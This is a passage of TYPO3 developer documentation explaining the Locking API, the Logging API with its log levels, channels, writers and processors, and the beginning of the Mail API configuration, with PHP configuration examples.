If a locking strategy includes this as capability, it should be capable of acquiring a lock without blocking. The function acquire() can pass the non-blocking requirement by adding LOCK_CAPABILITY_NOBLOCK to the first argument $mode.

You can use bitwise OR to combine them:

$capabilities = LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE
    | LockingStrategyInterface::LOCK_CAPABILITY_SHARED
    | LockingStrategyInterface::LOCK_CAPABILITY_NOBLOCK
Copied!

Priorities

Every locking strategy must have a priority. This is returned by the function LockingStrategyInterface::getPriority() which must be implemented in each locking strategy.

Currently, these are the priorities of the locking strategies supplied by the Core:

  • FileLockStrategy: 75
  • SimpleLockStrategy: 50
  • SemaphoreLockStrategy: 25

To change the locking strategy priority, the priority can be overwritten by configuration, for example in additional configuration:

typo3conf/AdditionalConfiguration.php
use TYPO3\CMS\Core\Locking\FileLockStrategy;

$GLOBALS['TYPO3_CONF_VARS']['SYS']['locking']['strategies'][FileLockStrategy::class]['priority'] = 10;
Copied!

Examples

Acquire and use an exclusive, blocking lock:

EXT:site_package/Classes/Domain/Repository/SomeRepository.php
use TYPO3\CMS\Core\Locking\LockingStrategyInterface;
use TYPO3\CMS\Core\Locking\LockFactory;
// ...

$lockFactory = GeneralUtility::makeInstance(LockFactory::class);

// createLocker will return an instance of class which implements
// LockingStrategyInterface, according to required capabilities.
// Here, we are asking for an exclusive, blocking lock. This is the default,
// so the second parameter could be omitted.
$locker = $lockFactory->createLocker('someId', LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE);

// now use the locker to lock something exclusively, this may block (wait) until lock is free, if it
// has been used already
if ($locker->acquire(LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE)) {
    // do some work that required exclusive locking here ...

    // after you did your stuff, you must release
    $locker->release();
}
Copied!

Acquire and use an exclusive, non-blocking lock:

EXT:site_package/Classes/Domain/Repository/SomeRepository.php
use TYPO3\CMS\Core\Locking\LockingStrategyInterface;
use TYPO3\CMS\Core\Locking\LockFactory;
// ...

$lockFactory = GeneralUtility::makeInstance(LockFactory::class);

// get lock strategy that supports exclusive, shared and non-blocking
$locker = $lockFactory->createLocker('id',
    LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE | LockingStrategyInterface::LOCK_CAPABILITY_NOBLOCK);

// now use the locker to lock something exclusively, this will not block, so handle retry / abort yourself,
// e.g. by using a loop
if ($locker->acquire(LockingStrategyInterface::LOCK_CAPABILITY_EXCLUSIVE)) {
    // ... some work to be done that requires locking

    // after you did your stuff, you must release
    $locker->release();
}
Copied!

Usage in the Core

The locking API is used in the Core for caching, see TypoScriptFrontendController.

Extend locking in Extensions

An extension can extend the locking functionality by adding a new locking strategy. This can be done by writing a new class which implements the EXT:core/Classes/Locking/LockingStrategyInterface.php (GitHub).

Each locking strategy has a set of capabilities (getCapabilities()), and a priority (getPriority()), so give your strategy a priority higher than 75 if it should override the current top choice FileLockStrategy by default.

If you want to release your file locking strategy extension, make sure to make the priority configurable, as is done in the TYPO3 Core:

public static function getPriority()
{
    return $GLOBALS['TYPO3_CONF_VARS']['SYS']['locking']['strategies'][self::class]['priority']
        ?? self::DEFAULT_PRIORITY;
}
Copied!

See EXT:core/Classes/Locking/FileLockStrategy.php (GitHub) for an example.

Caveats

FileLockStrategy & NFS

There is a problem with PHP flock() on NFS systems. This problem may or may not affect you, if you use NFS. See this issue for more information

or check if PHP flock works on your filesystem.

The FileLockStrategy uses flock(). This will create a file in typo3temp/var/lock.

Because of its capabilities (LOCK_CAPABILITY_EXCLUSIVE, LOCK_CAPABILITY_SHARED and LOCK_CAPABILITY_NOBLOCK) and priority (75), FileLockStrategy is used as first choice for most locking operations in TYPO3.

Multiple servers & Cache locking

Since the Core uses the locking API for some cache operations (see for example TypoScriptFrontendController), make sure that you correctly setup your caching and locking if you share your TYPO3 instance on multiple servers for load balancing or high availability.

Specifically, this may be a problem:

  • Do not use a local locking mechanism (e.g. semaphores or file locks in typo3temp/var, if typo3temp/var is mapped to local storage and not shared) in combination with a central cache mechanism (e.g. central Redis or DB used for page caching in TYPO3)

Logging

The chapter Quickstart helps you get started.

TYPO3 Logging consists of the following components:

  • A Logger that receives the log message and related details, like a severity.
  • A LogRecord model which encapsulates the data
  • Configuration of the logging system
  • Writers which write the log records to different targets (like file, database, rsyslog server, etc.)
  • Processors which enhance the log record with more detailed information.

Contents:

Quickstart

Instantiate a logger for the current class

Constructor injection can be used to automatically instantiate the logger:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use Psr\Log\LoggerInterface;

class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {
    }
}
Copied!

Log

Log a simple message (in this example with the log level "warning"):

EXT:my_extension/Classes/MyClass.php
$this->logger->warning('Something went awry, check your configuration!');
Copied!

Provide additional context information with the log message (in this example with the log level "error"):

EXT:my_extension/Classes/MyClass.php
$this->logger->error('Passing {value} was unwise.', [
    'value' => $value,
    'other_data' => $foo,
]);
Copied!

Values in the message string that should vary based on the error (such as specifying an invalid value) should use placeholders, denoted by { }. Provide the value for that placeholder in the context array.

$this->logger->warning() etc. are only shorthands - you can also call $this->logger->log() directly and pass the severity level:

EXT:my_extension/Classes/MyClass.php
// use TYPO3\CMS\Core\Log\LogLevel;

$this->logger->log(LogLevel::CRITICAL, 'This is an utter failure!');
Copied!

Set logging output

TYPO3 has the FileWriter enabled by default for warnings ( LogLevel::WARNING) and higher severity, so all matching log entries are written to a file.

If the filename is not set, then the file will contain a hash like

var/log/typo3_<hash>.log, for example var/log/typo3_7ac500bce5.log.

typo3temp/var/log/typo3_<hash>.log, for example typo3temp/var/log/typo3_7ac500bce5.log.

A sample output looks like this:

Fri, 19 Jul 2023 09:45:00 +0100 [WARNING] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": Something went awry, check your configuration!
Fri, 19 Jul 2023 09:45:00 +0100 [ERROR] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": Passing someValue was unwise. - {"value":"someValue","other_data":{}}
Fri, 19 Jul 2023 09:45:00 +0100 [CRITICAL] request="5139a50bee3a1" component="TYPO3.Examples.Controller.DefaultController": This is an utter failure!
Copied!

Logger

Instantiation

Constructor injection can be used to automatically instantiate the logger:

EXT:my_extension/Classes/Service/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use Psr\Log\LoggerInterface;

class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {
    }
}
Copied!

The log() method

The \TYPO3\CMS\Core\Log\Logger class provides a central point for submitting log messages, the log() method:

$this->logger->log($level, $message, $data);
Copied!

which takes three parameters:

$level
Type

integer

One of the defined log levels, see the section Log levels and shorthand methods.

$message
Type

string

The log message itself.

$data
Type

array

Optional parameter, it can contain additional data, which is added to the log record in the form of an array.

An early return in the log() method prevents unneeded computation work to be done. So you are safe to call the logger with the debug log level frequently without slowing down your code too much. The logger will know by its configuration, what the most explicit severity level is.

As a next step, all registered processors are notified. They can modify the log records or add extra information.

The logger then forwards the log records to all of its configured writers, which will then persist the log record.

Log levels and shorthand methods

The log levels - according to RFC 3164 - start from the lowest level. For each of the severity levels mentioned below, a shorthand method exists in \TYPO3\CMS\Core\Log\Logger :

Debug
Class constant

\TYPO3\CMS\Core\Log\LogLevel::DEBUG

Shorthand method

$this->logger->debug($message, $context);

For debug information: give detailed status information during the development of PHP code.

Informational
Class constant

\TYPO3\CMS\Core\Log\LogLevel::INFO

Shorthand method

$this->logger->info($message, $context);

For informational messages, some examples:

  • A user logs in.
  • Connection to third-party system established.
  • Logging of SQL statements.
Notice
Class constant

\TYPO3\CMS\Core\Log\LogLevel::NOTICE

Shorthand method

$this->logger->notice($message, $context);

For significant conditions. Things you should have a look at, nothing to worry about though. Some examples:

  • A user logs in.
  • Logging of SQL statements.
Warning
Class constant

\TYPO3\CMS\Core\Log\LogLevel::WARNING

Shorthand method

$this->logger->warning($message, $context);

For warning conditions. Some examples:

  • Use of a deprecated method.
  • Undesirable events that are not necessarily wrong.
Error
Class constant

\TYPO3\CMS\Core\Log\LogLevel::ERROR

Shorthand method

$this->logger->error($message, $context);

For error conditions. Some examples:

  • A runtime error occurred.
  • Some PHP coding error has happened.
  • A white screen is shown.
Critical
Class constant

\TYPO3\CMS\Core\Log\LogLevel::CRITICAL

Shorthand method

$this->logger->critical($message, $context);

For critical conditions. Some examples:

  • An unexpected exception occurred.
  • An important file has not been found.
  • Data is corrupt or outdated.
Alert
Class constant

\TYPO3\CMS\Core\Log\LogLevel::ALERT

Shorthand method

$this->logger->alert($message, $context);

For blocking conditions, action must be taken immediately. Some examples:

  • The entire website is down.
  • The database is unavailable.
Emergency
Class constant

\TYPO3\CMS\Core\Log\LogLevel::EMERGENCY

Shorthand method

$this->logger->emergency($message, $context);

Nothing works, the system is unusable. You will likely not be able to reach
the system. You better have a system administrator reachable when this happens.

Channels

It is possible to group several classes into channels, regardless of the PHP namespace.

Services are able to control the component name that an injected logger is created with. This allows to group logs of related classes and is basically a channel system as often used in Monolog.

The \TYPO3\CMS\Core\Log\Channel attribute is supported for constructor argument injection as a class and parameter-specific attribute and for \Psr\Log\LoggerAwareInterface dependency injection services as a class attribute.

This feature is only available with PHP 8. The channel attribute will be gracefully ignored in PHP 7, and the classic component name will be used instead.

Registration via class attribute for \Psr\Log\LoggerInterface injection:

EXT:my_extension/Classes/Service/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service\MyClass;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Core\Log\Channel;

#[Channel('security')]
class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {
    }
}
Copied!

Registration via parameter attribute for \Psr\Log\LoggerInterface injection, overwrites possible class attributes:

EXT:my_extension/Classes/Service/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service\MyClass;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Core\Log\Channel;

class MyClass
{
    public function __construct(
        #[Channel('security')]
        private readonly LoggerInterface $logger,
    ) {
    }
}
Copied!

The instantiated logger will now have the channel "security", instead of the default one, which would be a combination of namespace and class of the instantiating class, such as MyVendor.MyExtension.Service.MyClass.

Using the channel

The channel "security" can then be used in the logging configuration:

config/system/additional.php | typo3conf/system/additional.php
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

$GLOBALS['TYPO3_CONF_VARS']['LOG']['security']['writerConfiguration'] = [
    LogLevel::DEBUG => [
        FileWriter::class => [
            'logFile' => Environment::getVarPath() . '/log/security.log'
        ]
    ],
];
Copied!

The written log messages will then have the component name "security", such as:

var/log/security.log
Fri, 21 Jul 2023 16:26:13 +0000 [DEBUG] ... component="security": ...
Copied!

For more examples for configuring the logging see the Writer configuration section.

Examples

Examples of the usage of the logger can be found in the extension examples. in file /Classes/Controller/ModuleController.php

Best practices

There are no strict rules or guidelines about logging. Still it can be considered to be best practice to follow these rules:

Use placeholders

Adhere to the PSR-3 placeholder specification. This is necessary in order to use proper PSR-3 logging.

Bad example:

$this->logger->alert(
    'Password reset requested for email "'
    . $emailAddress . '" but was requested too many times.'
);
Copied!

Good example:

$this->logger->alert(
    'Password reset requested for email "{email}" but was requested too many times.',
    ['email' => $emailAddress]
);
Copied!

The first argument is the message, the second (optional) argument is a context. A message can use {placeholders}. All Core provided log writers will substitute placeholders in the message with data from the context array, if a context array key with same name exists.

Meaningful message

The message itself has to be meaningful, for example, exception messages.

Bad example:

"Something went wrong"
Copied!

Good example:

"Could not connect to database"
Copied!

Searchable message

Most of the times log entries will be stored. They are most important, if something goes wrong within the system. In such situations people might search for specific issues or situations, considering this while writing log entries will reduce debugging time in future.

Messages should therefore contain keywords that might be used in searches.

Good example:

"Connection to MySQL database could not be established"
Copied!

This includes "connection", "mysql" and "database" as possible keywords.

Distinguishable and grouped

Log entries might be collected and people might scroll through them. Therefore it is helpful to write log entries that are distinguishable, but are also grouped.

Bad examples:

"Database not reached"
"Could not establish connection to memcache"
Copied!

Good examples:

"Connection to MySQL database could not be established"
"Connection to memcache could not be established"
Copied!

This way the same issue is grouped by the same structure, and one can scan the same position for either "MySQL" or "memcache".

Provide useful information

TYPO3 already uses the component of the logger to give some context. Still further individual context might be available that should be added. In case of an exception, the code, stacktrace, file and line number would be helpful.

Keep in mind that it is hard to add information afterwards. Logging is there to get information if something got wrong. All necessary information should be available to get the state of the system and why something happened.

Configuration of the logging system

The instantiation of loggers is configuration-free, as the log manager automatically applies its configuration.

The logger configuration is read from $GLOBALS['TYPO3_CONF_VARS']['LOG'] , which contains an array reflecting the namespace and class hierarchy of your TYPO3 project.

For example, to apply a configuration for all loggers within the \TYPO3\CMS\Core\Cache namespace, the configuration is read from $GLOBALS['TYPO3_CONF_VARS']['LOG']['TYPO3']['CMS']['Core']['Cache'] . So every logger requested for classes like \TYPO3\CMS\Core\Cache\CacheFactory, \TYPO3\CMS\Core\Cache\Backend\NullBackend , etc. will get this configuration applied.

Configuring the logging for extensions works the same.

Writer configuration

The log writer configuration is read from the sub-key writerConfiguration of the configuration array:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['LOG']['writerConfiguration'] = [
    // Configuration for ERROR level log entries
    \TYPO3\CMS\Core\Log\LogLevel::ERROR => [
        // Add a FileWriter
        \TYPO3\CMS\Core\Log\Writer\FileWriter::class => [
            // Configuration for the writer
            'logFile' => \TYPO3\CMS\Core\Core\Environment::getVarPath() . '/log/typo3_7ac500bce5.log'
        ],
    ],
];
Copied!

The above configuration applies to all log entries of level "ERROR" or above.

To apply a special configuration for the controllers of the examples extension, use the following configuration:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['writerConfiguration'] = [
    // Configuration for WARNING severity, including all
    // levels with higher severity (ERROR, CRITICAL, EMERGENCY)
    \TYPO3\CMS\Core\Log\LogLevel::WARNING => [
        // Add a SyslogWriter
        \TYPO3\CMS\Core\Log\Writer\SyslogWriter::class => [],
    ],
];
Copied!

This overwrites the default configuration shown in the first example for classes located in the namespace \T3docs\Examples\Controller.

One more example:

typo3conf/AdditionalConfiguration.php
// Configure logging ...

// For class \T3docs\Examples\Controller\FalExampleController
$GLOBALS['TYPO3_CONF_VARS']['LOG']
    ['T3docs']['Examples']['Controller']['FalExampleController']
    ['writerConfiguration'] = [
        // ...
    ];

// For channel "security"
$GLOBALS['TYPO3_CONF_VARS']['LOG']['security']['writerConfiguration'] = [
    // ...
];
Copied!

For more information about channels, see Channels.

An arbitrary number of writers can be added for every severity level (INFO, WARNING, ERROR, ...). The configuration is applied to log entries of the particular severity level plus all levels with a higher severity. Thus, a log message created with $logger->warning() will be affected by the writer configuration for the log levels:

  • LogLevel::DEBUG
  • LogLevel::INFO
  • LogLevel::NOTICE
  • LogLevel::WARNING

For the above example code that means:

  • Calling $logger->warning($msg); will result in $msg being written to the computer's syslog on top of the default configuration.
  • Calling $logger->debug($msg); will result in $msg being written only to the default log file (var/log/typo3_<hash>.log).

For a list of writers shipped with the TYPO3 Core see the section about Log writers.

Processor configuration

Similar to the writer configuration, log record processors can be configured on a per-class and per-namespace basis with the sub-key processorConfiguration:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['processorConfiguration'] = [
    // Configuration for ERROR level log entries
    \TYPO3\CMS\Core\Log\LogLevel::ERROR => [
        // Add a MemoryUsageProcessor
        \TYPO3\CMS\Core\Log\Processor\MemoryUsageProcessor::class => [
            'formatSize' => TRUE
        ],
    ],
];
Copied!

For a list of processors shipped with the TYPO3 Core, see the section about Log processors.

Disable all logging

In some setups it is desirable to disable all logs and to only enable them on demand. You can disable all logs by unsetting $GLOBALS['TYPO3_CONF_VARS']['LOG'] at the end of your AdditionalConfiguration.php:

typo3conf/AdditionalConfiguration.php
// disable all logging
unset($GLOBALS['TYPO3_CONF_VARS']['LOG']);
Copied!

You can then temporarily enable logging by commenting out this line:

typo3conf/AdditionalConfiguration.php
// unset($GLOBALS['TYPO3_CONF_VARS']['LOG']);
// By commenting out the line above you can enable logging again.
Copied!

The LogRecord model

All logging data is modeled using \TYPO3\CMS\Core\Log\LogRecord .

This model has the following properties:

requestId
A unique identifier for each request which is created by the TYPO3 bootstrap.
created
The timestamp with microseconds when the record is created.
component
The name of the logger which created the log record, usually the fully-qualified class name where the logger has been instantiated.
level
An integer severity level from \TYPO3\CMS\Core\Log\LogLevel.
message
The log message string.
data
Any additional data, encapsulated within an array.

The API to create a new instance of LogRecord is \TYPO3\CMS\Core\Log\Logger:log() or one of the shorthand methods.

The LogRecord class implements the \ArrayAccess interface so that the properties can be accessed like a native array, for example: $logRecord['requestId']. It also implements a __toString() method for your convenience, which returns the log record as a simplified string.

A log record can be processed using log processors or log writers. Log processors are meant to add values to the data property of a log record. For example, if you would like to add a stack trace, use \TYPO3\CMS\Core\Log\Processor\IntrospectionProcessor .

Log writers are used to write a log record to a particular target, for example, a log file.

Log writers

The purpose of a log writer is (usually) to save all log records into a persistent storage, like a log file, a database table, or to a remote syslog server.

Different log writers offer possibilities to log into different targets. Custom log writers can extend the functionality shipped with TYPO3 Core.

Built-in log writers

This section describes the log writers shipped with the TYPO3 Core. Some writers have options to allow customization of the particular writer. See the configuration section on how to use these options.

DatabaseWriter

The database writer logs into a database table. This table has to reside in the database used by TYPO3 and is not automatically created.

The following option is available:

logTable

logTable
Type
string
Mandatory
no
Default
sys_log

The database table to write to.

Example of a CREATE TABLE statement for logTable:

EXT:my_extension/ext_tables.sql
#
# Table structure for table 'tx_examples_log'
#
# The KEY on request_id is optional
#
CREATE TABLE tx_examples_log (
    request_id varchar(13) DEFAULT '' NOT NULL,
    time_micro double(16,4) NOT NULL default '0.0000',
    component varchar(255) DEFAULT '' NOT NULL,
    level tinyint(1) unsigned DEFAULT '0' NOT NULL,
    message text,
    data text,

    KEY request (request_id)
);
Copied!

The corresponding configuration might look like this for the example class \T3docs\Examples\Controller:

EXT:my_extension/ext_localconf.php
use TYPO3\CMS\Core\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\DatabaseWriter;

$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['writerConfiguration'] = [
    LogLevel::DEBUG => [
        DatabaseWriter::class => [
            'logTable' => 'tx_examples_log',
        ],
    ],
];
Copied!

FileWriter

The file writer logs into a log file, one log record per line. If the log file does not exist, it will be created (including parent directories, if needed).

Please make sure:

  • Your web server has write permissions to that path.
  • The path is below the root directory of your website (defined by Environment::getPublicPath()).

The filename is appended with a hash, that depends on the encryption key. If $GLOBALS['TYPO3_CONF_VARS']['SYS']['generateApacheHtaccess'] is set, an .htaccess file is added to the directory. It protects your log files from being accessed from the web. If the logFile option is not set, TYPO3 will use a filename containing a random hash, like typo3temp/logs/typo3_7ac500bce5.log.

The following options are available:

logFile

logFile
Type
string
Mandatory
no
Default
typo3temp/logs/typo3_<hash>.log (for example, like typo3temp/logs/typo3_7ac500bce5.log)

The path to the log file.

logFileInfix

logFileInfix
Type
string
Mandatory
no
Default
(empty string)

This option allows to set a different name for the log file that is created by the FileWriter without having to define a full path to the file. For example, the settings 'logFileInfix' => 'special' results in typo3_special_<hash>.log.

The corresponding configuration might look like this for the example class \T3docs\Examples\Controller:

EXT:my_extension/ext_localconf.php
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

// Add example configuration for the logging API
$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['writerConfiguration'] = [
    // configuration for ERROR level log entries
    LogLevel::ERROR => [
        // Add a FileWriter
        FileWriter::class => [
            // Configuration for the writer
            'logFile' => Environment::getVarPath() . '/log/typo3_examples.log',
        ],
    ],
];
Copied!

PhpErrorLogWriter

This writer logs into the PHP error log using error_log()

SyslogWriter

The syslog writer logs into the syslog (Unix only).

The following option is available:

facility

facility
Type
string
Mandatory
no
Default
USER

The syslog facility to log into.

Custom log writers

Custom log writers can be added through extensions. Every log writer has to implement the interface EXT:core/Classes/Log/Writer/WriterInterface.php (GitHub). It is suggested to extend the abstract class EXT:core/Classes/Log/Writer/AbstractWriter.php (GitHub) which allows you to use configuration options by adding the corresponding properties and setter methods.

Please keep in mind that TYPO3 will silently continue operating, in case a log writer is throwing an exception while executing the writeLog() method. Only in the case that all registered writers fail, the log entry with additional information will be added to the configured fallback logger (which defaults to the PhpErrorLog writer).

Usage in a custom class

All log writers can be used in your own classes. If the service is configured to use autowiring you can inject a logger into the __construct() method of your class \MyVendor\MyExtension\MyFolder\MyClass) since TYPO3 v11 LTS.

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use Psr\Log\LoggerInterface;

final class MyClass
{
    private LoggerInterface $logger;

    public function __construct(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    public function doSomething()
    {
        $this->logger->info('My class is executed.');

        $error = false;

        // ... something is done ...

        if ($error) {
            $this->logger->error('Error in class MyClass');
        }
    }
}
Copied!

If autowiring is disabled, the service class however must implement the interface \Psr\Log\LoggerAwareInterface and use the \Psr\Log\LoggerAwareTrait .

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerAwareTrait;

final class MyClass implements LoggerAwareInterface
{
    use LoggerAwareTrait;

    public function doSomething()
    {
        $this->logger->info('My class is executed.');

        $error = false;

        // ... something is done ...

        if ($error) {
            $this->logger->error('Error in class MyClass');
        }
    }
}
Copied!

One or more log writers for this class are configured in the file ext_localconf.php:

EXT:my_extension/ext_localconf.php
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

// Add example configuration for the logging API
$GLOBALS['TYPO3_CONF_VARS']['LOG']['MyVendor']['MyExtension']['MyClass']['writerConfiguration'] = [
    // Configuration for ERROR level log entries
    LogLevel::ERROR => [
        // Add a FileWriter
        FileWriter::class => [
            // Configuration for the writer
            'logFile' => Environment::getVarPath() . '/log/my_extension.log',
        ],
    ],
];
Copied!

Examples

Working examples of the usage of different Log writers can be found in the extension EXT:examples.

Log processors

The purpose of a log processor is (usually) to modify a log record or add more detailed information to it.

Log processors allow you to manipulate log records without changing the code that actually calls the log method (inversion of control). This enables you to add any information from outside the scope of the actual calling function, such as webserver environment variables. The TYPO3 Core ships with some basic log processors, but more can be added with extensions.

Built-in log processors

This section describes the log processors that are shipped with the TYPO3 Core. Some processors have options to allow the customization of the particular processor. See the Configuration section for how to use these options.

IntrospectionProcessor

The introspection processor adds backtrace data about where the log event was triggered.

By default, the following parameters from the original function call are added:

file
The absolute path to the file.
line
The line number.
class
The class name.
function
The function name.

Options

appendFullBackTrace

appendFullBackTrace
Mandatory
no
Default
false

Adds a full backtrace stack to the log.

shiftBackTraceLevel

shiftBackTraceLevel
Mandatory
no
Default
0

Removes the given number of entries from the top of the backtrace stack.

MemoryUsageProcessor

The memory usage processor adds the amount of used memory to the log record (result from memory_get_usage()).

Options

realMemoryUsage

realMemoryUsage
Mandatory
no
Default
true

Use the real size of memory allocated from system instead of emalloc() value.

formatSize

formatSize
Mandatory
no
Default
true

Whether the size is formatted with GeneralUtility::formatSize().

MemoryPeakUsageProcessor

The memory peak usage processor adds the peak amount of used memory to the log record (result from memory_get_peak_usage()).

Options

realMemoryUsage

realMemoryUsage
Mandatory
no
Default
true

Use the real size of memory allocated from system instead of emalloc() value.

formatSize

formatSize
Mandatory
no
Default
true

Whether the size is formatted with GeneralUtility::formatSize().

WebProcessor

The web processor adds selected webserver environment variables to the log record, that means, all possible values from \TYPO3\CMS\Core\Utility\GeneralUtility::getIndpEnv('_ARRAY').

Custom log processors

Custom log processors can be added through extensions. Every log processor has to implement the interface EXT:core/Classes/Log/Processor/ProcessorInterface.php (GitHub). It is suggested to extend the abstract class EXT:core/Classes/Log/Processor/AbstractProcessor.php (GitHub) which allows you use configuration options by adding the corresponding properties and setter methods.

Please keep in mind that TYPO3 will silently continue operating, in case a log processor is throwing an exception while executing the processLogRecord() method.

Mail API

New in version 10.0

New in version 10.3

TYPO3 provides a RFC-compliant mailing solution based on symfony/mailer for sending emails and symfony/mime for creating email messages.

TYPO3’s backend functionality already ships with a default layout for templated emails, which can be tested out in TYPO3’s install tool test email functionality.

Configuration

Several settings are available in the "Configure Installation-Wide Options" $GLOBALS['TYPO3_CONF_VARS']['MAIL'] .

Format

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['format'] can be both, plain or html. This option can be overridden by Extension authors in their use cases.

Fluid paths

All Fluid-based template paths can be configured via

  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['layoutRootPaths']
  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['partialRootPaths']
  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths']

where TYPO3 reserves all array keys below 100 for internal purposes.

If you want to provide custom templates or layouts, set this in your LocalConfiguration.php / AdditionalConfiguration.php file:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths'][700] = 'EXT:my_site_extension/Resources/Private/Templates/Email';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['layoutRootPaths'][700] = 'EXT:my_site_extension/Resources/Private/Layouts';
Copied!

transport

The most important configuration option for sending emails is $GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] , which can take the following values:

smtp

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'smtp';
Sends messages over SMTP. It can deal with encryption and authentication. Works exactly the same on Windows, Unix and MacOS. Requires a mail server and the following additional settings:
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server'] = '<server:port>';
Mail server name and port to connect to. Port defaults to "25".
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_encrypt'] = <bool>;

Determines whether the transport protocol should be encrypted. Requires openssl library. If false, symfony/mailer will use STARTTLS.

Changed in version 10.4

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username] = '<username>';
If your SMTP server requires authentication, the username.
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password] = '<password>';
If your SMTP server requires authentication, the password.

Example:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'smtp';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server'] = 'localhost';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_encrypt'] = true;
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username'] = 'johndoe';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password'] = 'cooLSecret';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromAddress'] = 'bounces@example.org';  // fetches all 'returning' emails
Copied!

sendmail

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'sendmail';
Sends messages by communicating with a locally installed MTA - such as sendmail. This may require setting the additional option:
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_sendmail_command'] = '<command>';

The command to call to send a mail locally. The default works on most modern UNIX based mail servers (sendmail, postfix, exim).

Example:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'sendmail';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_sendmail_command'] = '/usr/sbin/sendmail -bs';
Copied!

mbox

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'mbox';
This doesn't send any mail out, but instead will write every outgoing mail to a file adhering to the RFC 4155 mbox format, which is a simple text file where the mails are concatenated. Useful for debugging the mail sending process and on development machines which cannot send mails to the outside. The file to write to is defined by:
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_mbox_file'] = '</abs/path/to/mbox/file>';
The file where to write the mails into. Path must be absolute.

<classname>

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = '<classname>';
Custom class which implements \Symfony\Component\Mailer\Transport\TransportInterface. The constructor receives all settings from the MAIL section to make it possible to add custom settings.

validators

New in version 11.0

Using additional validators can help to identify if a provided email address is valid or not. By default, the validator \Egulias\EmailValidator\Validation\RFCValidation is used. The following validators are available:

  • \Egulias\EmailValidator\Validation\DNSCheckValidation
  • \Egulias\EmailValidator\Validation\SpoofCheckValidation
  • \Egulias\EmailValidator\Validation\NoRFCWarningsValidation

Additionally it is possible to provide an own implementation by implementing the interface \Egulias\EmailValidator\Validation\EmailValidation.

If multiple validators are provided, each validator must return true.

Example:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['validators'] = [
   \Egulias\EmailValidator\Validation\RFCValidation::class,
   \Egulias\EmailValidator\Validation\DNSCheckValidation::class
];
Copied!

Spooling

The default behavior of the TYPO3 mailer is to send the email messages immediately. You may, however, want to avoid the performance hit of the communication to the email server, which could cause the user to wait for the next page to load while the email is being sent. This can be avoided by choosing to "spool" the emails instead of sending them directly.

Spooling in memory

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_type'] = 'memory';
Copied!

When you use spooling to store the emails to memory, they will get sent right before the kernel terminates. This means the email only gets sent if the whole request got executed without any unhandled exception or any errors.

Spooling using files

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_type'] = 'file';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_filepath'] = '/folder/of/choice';
Copied!

